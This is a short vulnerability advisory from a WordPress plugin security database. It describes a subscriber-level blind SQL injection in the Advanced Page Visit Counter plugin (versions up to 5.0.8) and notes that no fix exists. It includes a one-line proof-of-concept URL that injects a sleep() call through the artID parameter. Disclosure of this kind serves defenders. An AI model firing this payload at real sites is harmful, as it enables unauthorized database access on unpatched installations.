WordPress Plugin Vulnerabilities
Advanced Page Visit Counter <= 5.0.8 - Subscriber+ Blind SQL injection
Description
The plugin does not escape the artID parameter before using it in a SQL statement in the apvc_reset_count_art AJAX action, available to any authenticated user, leading to a SQL injection
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=apvc_reset_count_art&artID=sleep(10)
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-03-29 (about 1 months ago)
Added
2022-03-29 (about 1 months ago)
Last Updated
2022-04-08 (about 1 months ago)